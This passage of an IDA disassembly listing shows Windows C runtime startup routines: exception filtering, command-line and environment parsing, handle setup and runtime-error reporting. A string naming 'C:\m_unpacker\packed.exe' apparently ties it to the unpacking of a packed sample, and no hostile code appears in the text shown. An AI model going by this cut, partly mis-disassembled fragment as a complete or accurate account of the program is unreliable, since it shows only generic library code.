sub_42316A+ADj ; sub_42316A+21Fj lea esp, [ebp-38h] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_42330C: ; CODE XREF: sub_42316A+160j mov [ebp+var_4], 1 lea eax, [esi+esi] add eax, 3 and al, 0FCh call sub_41C190 mov [ebp+var_18], esp mov ebx, esp mov [ebp+var_20], ebx or [ebp+var_4], 0FFFFFFFFh jmp short loc_423340 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor edi, edi xor ebx, ebx or [ebp+var_4], 0FFFFFFFFh mov esi, [ebp+var_28] loc_423340: ; CODE XREF: sub_42316A+1C2j cmp ebx, edi jz short loc_4232F8 push esi push ebx push [ebp+var_1C] push [ebp+var_24] push [ebp+arg_4] push [ebp+arg_0] call dword_428050 ; LCMapStringW test eax, eax jz short loc_4232F8 cmp [ebp+arg_14], edi push edi push edi jnz short loc_423367 push edi push edi jmp short loc_42336D ; --------------------------------------------------------------------------- loc_423367: ; CODE XREF: sub_42316A+1F7j push [ebp+arg_14] push [ebp+arg_10] loc_42336D: ; CODE XREF: sub_42316A+1FBj push esi push ebx push 220h push [ebp+arg_18] call dword_42818C ; WideCharToMultiByte mov esi, eax cmp esi, edi jz loc_4232F8 loc_423387: ; CODE XREF: sub_42316A+165j ; sub_42316A+188j mov eax, esi jmp loc_4232FA sub_42316A endp ; =============== S U B R O U T I N E ======================================= sub_42338E proc near ; CODE XREF: sub_42316A+81p ; sub_4265D3+7Ep ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov edx, [esp+arg_4] mov eax, [esp+arg_0] test edx, edx push esi lea ecx, [edx-1] jz short loc_4233AB loc_42339E: ; CODE XREF: sub_42338E+1Bj cmp byte ptr [eax], 0 jz short loc_4233AB inc eax mov esi, ecx dec ecx test esi, esi jnz short loc_42339E loc_4233AB: ; CODE XREF: sub_42338E+Ej ; sub_42338E+13j cmp byte ptr [eax], 0 pop esi jnz short loc_4233B6 sub eax, [esp+arg_0] retn ; --------------------------------------------------------------------------- loc_4233B6: ; CODE XREF: sub_42338E+21j mov eax, edx retn sub_42338E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4233B9 proc near ; CODE XREF: sub_41DFD3+E3p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ebx push [ebp+arg_0] call sub_4234FA test eax, eax pop ecx jz loc_4234EE mov ebx, [eax+8] test ebx, ebx jz loc_4234EE cmp ebx, 5 jnz short loc_4233EA and dword ptr [eax+8], 0 push 1 pop eax jmp loc_4234F7 ; --------------------------------------------------------------------------- loc_4233EA: ; CODE XREF: sub_4233B9+23j cmp ebx, 1 jz loc_4234E9 mov ecx, dword_4DE6A0 mov [ebp+arg_0], ecx mov ecx, [ebp+arg_4] mov dword_4DE6A0, ecx mov ecx, [eax+4] cmp ecx, 8 jnz loc_4234D9 mov ecx, dword_43FC60 mov edx, dword_43FC64 add edx, ecx push esi cmp ecx, edx jge short loc_423439 lea esi, [ecx+ecx*2] sub edx, ecx lea esi, ds:43FBF0h[esi*4] loc_423430: ; CODE XREF: sub_4233B9+7Ej and dword ptr [esi], 0 add esi, 0Ch dec edx jnz short loc_423430 loc_423439: ; CODE XREF: sub_4233B9+69j mov eax, [eax] mov esi, dword_43FC6C cmp eax, 0C000008Eh jnz short loc_423454 mov dword_43FC6C, 83h jmp short loc_4234C4 ; --------------------------------------------------------------------------- loc_423454: ; CODE XREF: sub_4233B9+8Dj cmp eax, 0C0000090h jnz short loc_423467 mov dword_43FC6C, 81h jmp short loc_4234C4 ; --------------------------------------------------------------------------- loc_423467: ; CODE XREF: sub_4233B9+A0j cmp eax, 0C0000091h jnz short loc_42347A mov dword_43FC6C, 84h jmp short loc_4234C4 ; --------------------------------------------------------------------------- loc_42347A: ; CODE XREF: sub_4233B9+B3j cmp eax, 0C0000093h jnz short loc_42348D mov dword_43FC6C, 85h jmp short loc_4234C4 ; --------------------------------------------------------------------------- loc_42348D: ; CODE XREF: sub_4233B9+C6j cmp eax, 0C000008Dh jnz short loc_4234A0 mov dword_43FC6C, 82h jmp short loc_4234C4 ; --------------------------------------------------------------------------- loc_4234A0: ; CODE XREF: sub_4233B9+D9j cmp eax, 0C000008Fh jnz short loc_4234B3 mov dword_43FC6C, 86h jmp short loc_4234C4 ; --------------------------------------------------------------------------- loc_4234B3: ; CODE XREF: sub_4233B9+ECj cmp eax, 0C0000092h jnz short loc_4234C4 mov dword_43FC6C, 8Ah loc_4234C4: ; CODE XREF: sub_4233B9+99j ; sub_4233B9+ACj ... push dword_43FC6C push 8 call ebx pop ecx mov dword_43FC6C, esi pop ecx pop esi jmp short loc_4234E1 ; --------------------------------------------------------------------------- loc_4234D9: ; CODE XREF: sub_4233B9+52j and dword ptr [eax+8], 0 push ecx call ebx pop ecx loc_4234E1: ; CODE XREF: sub_4233B9+11Ej mov eax, [ebp+arg_0] mov dword_4DE6A0, eax loc_4234E9: ; CODE XREF: sub_4233B9+34j or eax, 0FFFFFFFFh jmp short loc_4234F7 ; --------------------------------------------------------------------------- loc_4234EE: ; CODE XREF: sub_4233B9+Fj ; sub_4233B9+1Aj push [ebp+arg_4] call dword_42804C ; UnhandledExceptionFilter loc_4234F7: ; CODE XREF: sub_4233B9+2Cj ; sub_4233B9+133j pop ebx pop ebp retn sub_4233B9 endp ; =============== S U B R O U T I N E ======================================= sub_4234FA proc near ; CODE XREF: sub_4233B9+7p arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov ecx, dword_43FC68 cmp dword_43FBE8, edx push esi mov eax, offset dword_43FBE8 jz short loc_423527 lea esi, [ecx+ecx*2] lea esi, ds:43FBE8h[esi*4] loc_42351C: ; CODE XREF: sub_4234FA+2Bj add eax, 0Ch cmp eax, esi jnb short loc_423527 cmp [eax], edx jnz short loc_42351C loc_423527: ; CODE XREF: sub_4234FA+16j ; sub_4234FA+27j lea ecx, [ecx+ecx*2] pop esi lea ecx, ds:43FBE8h[ecx*4] cmp eax, ecx jnb short loc_42353A cmp [eax], edx jz short locret_42353C loc_42353A: ; CODE XREF: sub_4234FA+3Aj xor eax, eax locret_42353C: ; CODE XREF: sub_4234FA+3Ej retn sub_4234FA endp ; =============== S U B R O U T I N E ======================================= sub_42353D proc near ; CODE XREF: sub_41DFD3+A5p cmp dword_4DFC74, 0 jnz short loc_42354B call sub_42090D loc_42354B: ; CODE XREF: sub_42353D+7j push esi mov esi, dword_4DFC6C mov al, [esi] cmp al, 22h jnz short loc_42357D loc_423558: ; CODE XREF: sub_42353D+33j ; sub_42353D+36j mov al, [esi+1] inc esi cmp al, 22h jz short loc_423575 test al, al jz short loc_423575 movzx eax, al push eax call sub_425406 test eax, eax pop ecx jz short loc_423558 inc esi jmp short loc_423558 ; --------------------------------------------------------------------------- loc_423575: ; CODE XREF: sub_42353D+21j ; sub_42353D+25j cmp byte ptr [esi], 22h jnz short loc_423587 loc_42357A: ; CODE XREF: sub_42353D+52j inc esi jmp short loc_423587 ; --------------------------------------------------------------------------- loc_42357D: ; CODE XREF: sub_42353D+19j cmp al, 20h jbe short loc_423587 loc_423581: ; CODE XREF: sub_42353D+48j inc esi cmp byte ptr [esi], 20h ja short loc_423581 loc_423587: ; CODE XREF: sub_42353D+3Bj ; sub_42353D+3Ej ... mov al, [esi] test al, al jz short loc_423591 cmp al, 20h jbe short loc_42357A loc_423591: ; CODE XREF: sub_42353D+4Ej mov eax, esi pop esi retn sub_42353D endp ; =============== S U B R O U T I N E ======================================= sub_423595 proc near ; CODE XREF: sub_41DFD3+8Ep push ebx xor ebx, ebx cmp dword_4DFC74, ebx push esi push edi jnz short loc_4235A7 call sub_42090D loc_4235A7: ; CODE XREF: sub_423595+Bj mov esi, dword_4DE638 xor edi, edi loc_4235AF: ; CODE XREF: sub_423595+30j mov al, [esi] cmp al, bl jz short loc_4235C7 cmp al, 3Dh jz short loc_4235BA inc edi loc_4235BA: ; CODE XREF: sub_423595+22j push esi call sub_41B650 pop ecx lea esi, [esi+eax+1] jmp short loc_4235AF ; --------------------------------------------------------------------------- loc_4235C7: ; CODE XREF: sub_423595+1Ej lea eax, ds:4[edi*4] push eax call sub_41BB45 mov esi, eax pop ecx cmp esi, ebx mov dword_4DE5EC, esi jnz short loc_4235E9 push 9 call sub_41E0C9 pop ecx loc_4235E9: ; CODE XREF: sub_423595+4Aj mov edi, dword_4DE638 cmp [edi], bl jz short loc_42362C push ebp loc_4235F4: ; CODE XREF: sub_423595+94j push edi call sub_41B650 mov ebp, eax pop ecx inc ebp cmp byte ptr [edi], 3Dh jz short loc_423625 push ebp call sub_41BB45 cmp eax, ebx pop ecx mov [esi], eax jnz short loc_423618 push 9 call sub_41E0C9 pop ecx loc_423618: ; CODE XREF: sub_423595+79j push edi push dword ptr [esi] call sub_41C520 pop ecx add esi, 4 pop ecx loc_423625: ; CODE XREF: sub_423595+6Cj add edi, ebp cmp [edi], bl jnz short loc_4235F4 pop ebp loc_42362C: ; CODE XREF: sub_423595+5Cj push dword_4DE638 call sub_41B721 pop ecx mov dword_4DE638, ebx mov [esi], ebx pop edi pop esi mov dword_4DFC70, 1 pop ebx retn sub_423595 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42364E proc near ; CODE XREF: sub_41DFD3+89p var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx push ebx xor ebx, ebx cmp dword_4DFC74, ebx push esi push edi jnz short loc_423665 call sub_42090D loc_423665: ; CODE XREF: sub_42364E+10j mov esi, offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe" push 104h push esi push ebx call dword_428078 ; GetModuleFileNameA mov eax, dword_4DFC6C mov off_4DE5FC, esi mov edi, esi cmp [eax], bl jz short loc_42368A mov edi, eax loc_42368A: ; CODE XREF: sub_42364E+38j lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax push ebx push ebx push edi call sub_4236E7 mov eax, [ebp+var_8] mov ecx, [ebp+var_4] lea eax, [eax+ecx*4] push eax call sub_41BB45 mov esi, eax add esp, 18h cmp esi, ebx jnz short loc_4236BA push 8 call sub_41E0C9 pop ecx loc_4236BA: ; CODE XREF: sub_42364E+62j lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax mov eax, [ebp+var_4] lea eax, [esi+eax*4] push eax push esi push edi call sub_4236E7 mov eax, [ebp+var_4] add esp, 14h dec eax mov dword_4DE5E4, esi pop edi pop esi mov dword_4DE5E0, eax pop ebx leave retn sub_42364E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4236E7 proc near ; CODE XREF: sub_42364E+47p ; sub_42364E+7Dp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp mov ecx, [ebp+arg_10] mov eax, [ebp+arg_C] push ebx push esi and dword ptr [ecx], 0 mov esi, [ebp+arg_8] push edi mov edi, [ebp+arg_4] mov dword ptr [eax], 1 mov eax, [ebp+arg_0] test edi, edi jz short loc_423711 mov [edi], esi add edi, 4 mov [ebp+arg_4], edi loc_423711: ; CODE XREF: sub_4236E7+20j cmp byte ptr [eax], 22h jnz short loc_42375A loc_423716: ; CODE XREF: sub_4236E7+58j ; sub_4236E7+5Fj mov dl, [eax+1] inc eax cmp dl, 22h jz short loc_423748 test dl, dl jz short loc_423748 movzx edx, dl test byte_4DFB41[edx], 4 jz short loc_42373B inc dword ptr [ecx] test esi, esi jz short loc_42373B mov dl, [eax] mov [esi], dl inc esi inc eax loc_42373B: ; CODE XREF: sub_4236E7+46j ; sub_4236E7+4Cj inc dword ptr [ecx] test esi, esi jz short loc_423716 mov dl, [eax] mov [esi], dl inc esi jmp short loc_423716 ; --------------------------------------------------------------------------- loc_423748: ; CODE XREF: sub_4236E7+36j ; sub_4236E7+3Aj inc dword ptr [ecx] test esi, esi jz short loc_423752 and byte ptr [esi], 0 inc esi loc_423752: ; CODE XREF: sub_4236E7+65j cmp byte ptr [eax], 22h jnz short loc_42379D inc eax jmp short loc_42379D ; --------------------------------------------------------------------------- loc_42375A: ; CODE XREF: sub_4236E7+2Dj ; sub_4236E7+A5j inc dword ptr [ecx] test esi, esi jz short loc_423765 mov dl, [eax] mov [esi], dl inc esi loc_423765: ; CODE XREF: sub_4236E7+77j mov dl, [eax] inc eax movzx ebx, dl test byte_4DFB41[ebx], 4 jz short loc_423780 inc dword ptr [ecx] test esi, esi jz short loc_42377F mov bl, [eax] mov [esi], bl inc esi loc_42377F: ; CODE XREF: sub_4236E7+91j inc eax loc_423780: ; CODE XREF: sub_4236E7+8Bj cmp dl, 20h jz short loc_42378E test dl, dl jz short loc_423792 cmp dl, 9 jnz short loc_42375A loc_42378E: ; CODE XREF: sub_4236E7+9Cj test dl, dl jnz short loc_423795 loc_423792: ; CODE XREF: sub_4236E7+A0j dec eax jmp short loc_42379D ; --------------------------------------------------------------------------- loc_423795: ; CODE XREF: sub_4236E7+A9j test esi, esi jz short loc_42379D and byte ptr [esi-1], 0 loc_42379D: ; CODE XREF: sub_4236E7+6Ej ; sub_4236E7+71j ... and [ebp+arg_10], 0 loc_4237A1: ; CODE XREF: sub_4236E7+19Ej cmp byte ptr [eax], 0 jz loc_42388A loc_4237AA: ; CODE XREF: sub_4236E7+D0j mov dl, [eax] cmp dl, 20h jz short loc_4237B6 cmp dl, 9 jnz short loc_4237B9 loc_4237B6: ; CODE XREF: sub_4236E7+C8j inc eax jmp short loc_4237AA ; --------------------------------------------------------------------------- loc_4237B9: ; CODE XREF: sub_4236E7+CDj cmp byte ptr [eax], 0 jz loc_42388A test edi, edi jz short loc_4237CE mov [edi], esi add edi, 4 mov [ebp+arg_4], edi loc_4237CE: ; CODE XREF: sub_4236E7+DDj mov edx, [ebp+arg_C] inc dword ptr [edx] loc_4237D3: ; CODE XREF: sub_4236E7+18Fj mov [ebp+arg_0], 1 xor ebx, ebx loc_4237DC: ; CODE XREF: sub_4236E7+FCj cmp byte ptr [eax], 5Ch jnz short loc_4237E5 inc eax inc ebx jmp short loc_4237DC ; --------------------------------------------------------------------------- loc_4237E5: ; CODE XREF: sub_4236E7+F8j cmp byte ptr [eax], 22h jnz short loc_423816 test bl, 1 jnz short loc_423814 xor edi, edi cmp [ebp+arg_10], edi jz short loc_423803 cmp byte ptr [eax+1], 22h lea edx, [eax+1] jnz short loc_423803 mov eax, edx jmp short loc_423806 ; --------------------------------------------------------------------------- loc_423803: ; CODE XREF: sub_4236E7+10Dj ; sub_4236E7+116j mov [ebp+arg_0], edi loc_423806: ; CODE XREF: sub_4236E7+11Aj mov edi, [ebp+arg_4] xor edx, edx cmp [ebp+arg_10], edx setz dl mov [ebp+arg_10], edx loc_423814: ; CODE XREF: sub_4236E7+106j shr ebx, 1 loc_423816: ; CODE XREF: sub_4236E7+101j mov edx, ebx dec ebx test edx, edx jz short loc_42382B inc ebx loc_42381E: ; CODE XREF: sub_4236E7+142j test esi, esi jz short loc_423826 mov byte ptr [esi], 5Ch inc esi loc_423826: ; CODE XREF: sub_4236E7+139j inc dword ptr [ecx] dec ebx jnz short loc_42381E loc_42382B: ; CODE XREF: sub_4236E7+134j mov dl, [eax] test dl, dl jz short loc_42387B cmp [ebp+arg_10], 0 jnz short loc_423841 cmp dl, 20h jz short loc_42387B cmp dl, 9 jz short loc_42387B loc_423841: ; CODE XREF: sub_4236E7+14Ej cmp [ebp+arg_0], 0 jz short loc_423875 test esi, esi jz short loc_423864 movzx ebx, dl test byte_4DFB41[ebx], 4 jz short loc_42385D mov [esi], dl inc esi inc eax inc dword ptr [ecx] loc_42385D: ; CODE XREF: sub_4236E7+16Ej mov dl, [eax] mov [esi], dl inc esi jmp short loc_423873 ; --------------------------------------------------------------------------- loc_423864: ; CODE XREF: sub_4236E7+162j movzx edx, dl test byte_4DFB41[edx], 4 jz short loc_423873 inc eax inc dword ptr [ecx] loc_423873: ; CODE XREF: sub_4236E7+17Bj ; sub_4236E7+187j inc dword ptr [ecx] loc_423875: ; CODE XREF: sub_4236E7+15Ej inc eax jmp loc_4237D3 ; --------------------------------------------------------------------------- loc_42387B: ; CODE XREF: sub_4236E7+148j ; sub_4236E7+153j ... test esi, esi jz short loc_423883 and byte ptr [esi], 0 inc esi loc_423883: ; CODE XREF: sub_4236E7+196j inc dword ptr [ecx] jmp loc_4237A1 ; --------------------------------------------------------------------------- loc_42388A: ; CODE XREF: sub_4236E7+BDj ; sub_4236E7+D5j test edi, edi jz short loc_423891 and dword ptr [edi], 0 loc_423891: ; CODE XREF: sub_4236E7+1A5j mov eax, [ebp+arg_C] pop edi pop esi pop ebx inc dword ptr [eax] pop ebp retn sub_4236E7 endp ; =============== S U B R O U T I N E ======================================= sub_42389B proc near ; CODE XREF: sub_41DFD3+7Fp var_8 = dword ptr -8 var_4 = dword ptr -4 push ecx push ecx mov eax, dword_4DE7A8 push ebx push ebp mov ebp, dword_42803C push esi push edi xor ebx, ebx xor esi, esi xor edi, edi cmp eax, ebx jnz short loc_4238E9 call ebp ; GetEnvironmentStringsW mov esi, eax cmp esi, ebx jz short loc_4238CA mov dword_4DE7A8, 1 jmp short loc_4238F2 ; --------------------------------------------------------------------------- loc_4238CA: ; CODE XREF: sub_42389B+21j call dword_428040 ; GetEnvironmentStringsA mov edi, eax cmp edi, ebx jz loc_4239C4 mov dword_4DE7A8, 2 jmp loc_423978 ; --------------------------------------------------------------------------- loc_4238E9: ; CODE XREF: sub_42389B+19j cmp eax, 1 jnz loc_423973 loc_4238F2: ; CODE XREF: sub_42389B+2Dj cmp esi, ebx jnz short loc_423902 call ebp ; GetEnvironmentStringsW mov esi, eax cmp esi, ebx jz loc_4239C4 loc_423902: ; CODE XREF: sub_42389B+59j cmp [esi], bx mov eax, esi jz short loc_423917 loc_423909: ; CODE XREF: sub_42389B+73j ; sub_42389B+7Aj inc eax inc eax cmp [eax], bx jnz short loc_423909 inc eax inc eax cmp [eax], bx jnz short loc_423909 loc_423917: ; CODE XREF: sub_42389B+6Cj sub eax, esi mov edi, dword_42818C sar eax, 1 push ebx push ebx inc eax push ebx push ebx push eax push esi push ebx push ebx mov [esp+38h+var_4], eax call edi ; WideCharToMultiByte mov ebp, eax cmp ebp, ebx jz short loc_423968 push ebp call sub_41BB45 cmp eax, ebx pop ecx mov [esp+18h+var_8], eax jz short loc_423968 push ebx push ebx push ebp push eax push [esp+28h+var_4] push esi push ebx push ebx call edi ; WideCharToMultiByte test eax, eax jnz short loc_423964 push [esp+18h+var_8] call sub_41B721 pop ecx mov [esp+18h+var_8], ebx loc_423964: ; CODE XREF: sub_42389B+B9j mov ebx, [esp+18h+var_8] loc_423968: ; CODE XREF: sub_42389B+99j ; sub_42389B+A8j push esi call dword_428044 ; FreeEnvironmentStringsW mov eax, ebx jmp short loc_4239C6 ; --------------------------------------------------------------------------- loc_423973: ; CODE XREF: sub_42389B+51j cmp eax, 2 jnz short loc_4239C4 loc_423978: ; CODE XREF: sub_42389B+49j cmp edi, ebx jnz short loc_423988 call dword_428040 ; GetEnvironmentStringsA mov edi, eax cmp edi, ebx jz short loc_4239C4 loc_423988: ; CODE XREF: sub_42389B+DFj cmp [edi], bl mov eax, edi jz short loc_423998 loc_42398E: ; CODE XREF: sub_42389B+F6j ; sub_42389B+FBj inc eax cmp [eax], bl jnz short loc_42398E inc eax cmp [eax], bl jnz short loc_42398E loc_423998: ; CODE XREF: sub_42389B+F1j sub eax, edi inc eax mov ebp, eax push ebp call sub_41BB45 mov esi, eax pop ecx cmp esi, ebx jnz short loc_4239AE xor esi, esi jmp short loc_4239B9 ; --------------------------------------------------------------------------- loc_4239AE: ; CODE XREF: sub_42389B+10Dj push ebp push edi push esi call near ptr sub_41C9B0 add esp, 0Ch loc_4239B9: ; CODE XREF: sub_42389B+111j push edi call dword_428048 ; FreeEnvironmentStringsA mov eax, esi jmp short loc_4239C6 ; --------------------------------------------------------------------------- loc_4239C4: ; CODE XREF: sub_42389B+39j ; sub_42389B+61j ... xor eax, eax loc_4239C6: ; CODE XREF: sub_42389B+D6j ; sub_42389B+127j pop edi pop esi pop ebp pop ebx pop ecx pop ecx retn sub_42389B endp ; =============== S U B R O U T I N E ======================================= sub_4239CD proc near ; CODE XREF: sub_41DFD3+6Fp var_44 = byte ptr -44h var_14 = dword ptr -14h var_10 = dword ptr -10h sub esp, 44h push ebx push ebp push esi push edi push 100h call sub_41BB45 mov esi, eax pop ecx test esi, esi jnz short loc_4239ED push 1Bh call sub_41E0C9 pop ecx loc_4239ED: ; CODE XREF: sub_4239CD+16j mov dword_4DF920, esi mov dword_4DFA20, 20h lea eax, [esi+100h] loc_423A03: ; CODE XREF: sub_4239CD+52j cmp esi, eax jnb short loc_423A21 and byte ptr [esi+4], 0 or dword ptr [esi], 0FFFFFFFFh mov byte ptr [esi+5], 0Ah mov eax, dword_4DF920 add esi, 8 add eax, 100h jmp short loc_423A03 ; --------------------------------------------------------------------------- loc_423A21: ; CODE XREF: sub_4239CD+38j lea eax, [esp+54h+var_44] push eax call dword_4281B4 ; GetStartupInfoA cmp word ptr [esp+54h+var_14+2], 0 jz loc_423AFD mov eax, [esp+54h+var_10] test eax, eax jz loc_423AFD mov esi, [eax] lea ebp, [eax+4] mov eax, 800h cmp esi, eax lea ebx, [esi+ebp] jl short loc_423A57 mov esi, eax loc_423A57: ; CODE XREF: sub_4239CD+86j cmp dword_4DFA20, esi jge short loc_423AB1 mov edi, offset dword_4DF924 loc_423A64: ; CODE XREF: sub_4239CD+DAj push 100h call sub_41BB45 test eax, eax pop ecx jz short loc_423AAB add dword_4DFA20, 20h mov [edi], eax lea ecx, [eax+100h] loc_423A82: ; CODE XREF: sub_4239CD+CFj cmp eax, ecx jnb short loc_423A9E and byte ptr [eax+4], 0 or dword ptr [eax], 0FFFFFFFFh mov byte ptr [eax+5], 0Ah mov ecx, [edi] add eax, 8 add ecx, 100h jmp short loc_423A82 ; --------------------------------------------------------------------------- loc_423A9E: ; CODE XREF: sub_4239CD+B7j add edi, 4 cmp dword_4DFA20, esi jl short loc_423A64 jmp short loc_423AB1 ; --------------------------------------------------------------------------- loc_423AAB: ; CODE XREF: sub_4239CD+A4j mov esi, dword_4DFA20 loc_423AB1: ; CODE XREF: sub_4239CD+90j ; sub_4239CD+DCj xor edi, edi test esi, esi jle short loc_423AFD loc_423AB7: ; CODE XREF: sub_4239CD+12Ej mov eax, [ebx] cmp eax, 0FFFFFFFFh jz short loc_423AF4 mov cl, [ebp+0] test cl, 1 jz short loc_423AF4 test cl, 8 jnz short loc_423AD6 push eax call dword_428030 ; GetFileType test eax, eax jz short loc_423AF4 loc_423AD6: ; CODE XREF: sub_4239CD+FCj mov eax, edi mov ecx, edi sar eax, 5 and ecx, 1Fh mov eax, dword_4DF920[eax*4] lea eax, [eax+ecx*8] mov ecx, [ebx] mov [eax], ecx mov cl, [ebp+0] mov [eax+4], cl loc_423AF4: ; CODE XREF: sub_4239CD+EFj ; sub_4239CD+F7j ... inc edi inc ebp add ebx, 4 cmp edi, esi jl short loc_423AB7 loc_423AFD: ; CODE XREF: sub_4239CD+65j ; sub_4239CD+71j ... xor ebx, ebx loc_423AFF: ; CODE XREF: sub_4239CD+195j mov eax, dword_4DF920 cmp dword ptr [eax+ebx*8], 0FFFFFFFFh lea esi, [eax+ebx*8] jnz short loc_423B5A test ebx, ebx mov byte ptr [esi+4], 81h jnz short loc_423B1A push 0FFFFFFF6h pop eax jmp short loc_423B24 ; --------------------------------------------------------------------------- loc_423B1A: ; CODE XREF: sub_4239CD+146j mov eax, ebx dec eax neg eax sbb eax, eax add eax, 0FFFFFFF5h loc_423B24: ; CODE XREF: sub_4239CD+14Bj push eax call dword_428034 ; GetStdHandle mov edi, eax cmp edi, 0FFFFFFFFh jz short loc_423B49 push edi call dword_428030 ; GetFileType test eax, eax jz short loc_423B49 and eax, 0FFh mov [esi], edi cmp eax, 2 jnz short loc_423B4F loc_423B49: ; CODE XREF: sub_4239CD+163j ; sub_4239CD+16Ej or byte ptr [esi+4], 40h jmp short loc_423B5E ; --------------------------------------------------------------------------- loc_423B4F: ; CODE XREF: sub_4239CD+17Aj cmp eax, 3 jnz short loc_423B5E or byte ptr [esi+4], 8 jmp short loc_423B5E ; --------------------------------------------------------------------------- loc_423B5A: ; CODE XREF: sub_4239CD+13Ej or byte ptr [esi+4], 80h loc_423B5E: ; CODE XREF: sub_4239CD+180j ; sub_4239CD+185j ... inc ebx cmp ebx, 3 jl short loc_423AFF push dword_4DFA20 call dword_428038 ; SetHandleCount pop edi pop esi pop ebp pop ebx add esp, 44h retn sub_4239CD endp ; --------------------------------------------------------------------------- push esi inc ebx xor dh, [eax] pop eax inc ebx xor [eax], dh ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_423B80 proc near ; DATA XREF: sub_41DFD3+Ao ; sub_4226FD+Ao ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 8 push ebx push esi push edi push ebp cld mov ebx, [ebp+arg_4] mov eax, [ebp+arg_0] test dword ptr [eax+4], 6 jnz loc_423C20 mov [ebp+var_8], eax mov eax, [ebp+arg_8] mov [ebp+var_4], eax lea eax, [ebp+var_8] mov [ebx-4], eax mov esi, [ebx+0Ch] mov edi, [ebx+8] loc_423BB3: ; CODE XREF: sub_423B80+90j cmp esi, 0FFFFFFFFh jz short loc_423C19 lea ecx, [esi+esi*2] cmp dword ptr [edi+ecx*4+4], 0 jz short loc_423C07 push esi push ebp lea ebp, [ebx+10h] call dword ptr [edi+ecx*4+4] pop ebp pop esi mov ebx, [ebp+arg_4] or eax, eax jz short loc_423C07 js short loc_423C12 mov edi, [ebx+8] push ebx call sub_41D1E0 add esp, 4 lea ebp, [ebx+10h] push esi push ebx call sub_41D222 add esp, 8 lea ecx, [esi+esi*2] push 1 mov eax, [edi+ecx*4+8] call sub_41D2B6 mov eax, [edi+ecx*4] mov [ebx+0Ch], eax call dword ptr [edi+ecx*4+8] loc_423C07: ; CODE XREF: sub_423B80+40j ; sub_423B80+52j mov edi, [ebx+8] lea ecx, [esi+esi*2] mov esi, [edi+ecx*4] jmp short loc_423BB3 ; --------------------------------------------------------------------------- loc_423C12: ; CODE XREF: sub_423B80+54j mov eax, 0 jmp short loc_423C35 ; --------------------------------------------------------------------------- loc_423C19: ; CODE XREF: sub_423B80+36j mov eax, 1 jmp short loc_423C35 ; --------------------------------------------------------------------------- loc_423C20: ; CODE XREF: sub_423B80+18j push ebp lea ebp, [ebx+10h] push 0FFFFFFFFh push ebx call sub_41D222 add esp, 8 pop ebp mov eax, 1 loc_423C35: ; CODE XREF: sub_423B80+97j ; sub_423B80+9Ej pop ebp pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_423B80 endp ; --------------------------------------------------------------------------- push ebp mov ecx, [esp+8] mov ebp, [ecx] mov eax, [ecx+1Ch] push eax mov eax, [ecx+18h] push eax call sub_41D222 add esp, 8 pop ebp retn 4 ; =============== S U B R O U T I N E ======================================= sub_423C58 proc near ; CODE XREF: sub_41E0C9+9p ; sub_41E0EE+9p mov eax, dword_4DE640 cmp eax, 1 jz short loc_423C6F test eax, eax jnz short locret_423C90 cmp dword_43D5E4, 1 jnz short locret_423C90 loc_423C6F: ; CODE XREF: sub_423C58+8j push 0FCh call sub_423C91 mov eax, dword_4DE7AC pop ecx test eax, eax jz short loc_423C85 call eax loc_423C85: ; CODE XREF: sub_423C58+29j push 0FFh call sub_423C91 pop ecx locret_423C90: ; CODE XREF: sub_423C58+Cj ; sub_423C58+15j retn sub_423C58 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_423C91 proc near ; CODE XREF: sub_41E0C9+12p ; sub_41E0EE+12p ... var_1A4 = byte ptr -1A4h var_A0 = byte ptr -0A0h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1A4h mov edx, [ebp+arg_0] xor ecx, ecx mov eax, offset dword_43FC78 loc_423CA4: ; CODE XREF: sub_423C91+20j cmp edx, [eax] jz short loc_423CB3 add eax, 8 inc ecx cmp eax, offset off_43FD08 jl short loc_423CA4 loc_423CB3: ; CODE XREF: sub_423C91+15j push esi mov esi, ecx shl esi, 3 cmp edx, dword_43FC78[esi] jnz loc_423DE1 mov eax, dword_4DE640 cmp eax, 1 jz loc_423DBB test eax, eax jnz short loc_423CE4 cmp dword_43D5E4, 1 jz loc_423DBB loc_423CE4: ; CODE XREF: sub_423C91+44j cmp edx, 0FCh jz loc_423DE1 lea eax, [ebp+var_1A4] push 104h push eax push 0 call dword_428078 ; GetModuleFileNameA test eax, eax jnz short loc_423D1B lea eax, [ebp+var_1A4] push offset aProgramNameUnk ; "<program name unknown>" push eax call sub_41C520 pop ecx pop ecx loc_423D1B: ; CODE XREF: sub_423C91+75j lea eax, [ebp+var_1A4] push edi push eax lea edi, [ebp+var_1A4] call sub_41B650 inc eax pop ecx cmp eax, 3Ch jbe short loc_423D5E lea eax, [ebp+var_1A4] push eax call sub_41B650 mov edi, eax lea eax, [ebp+var_1A4] sub eax, 3Bh push 3 add edi, eax push offset a___ ; "..." push edi call sub_41BC60 add esp, 10h loc_423D5E: ; CODE XREF: sub_423C91+A2j lea eax, [ebp+var_A0] push offset aRuntimeErrorPr ; "Runtime Error!\n\nProgram: " push eax call sub_41C520 lea eax, [ebp+var_A0] push edi push eax call sub_41C530 lea eax, [ebp+var_A0] push offset asc_428BF8 ; "\n\n" push eax call sub_41C530 push off_43FC7C[esi] lea eax, 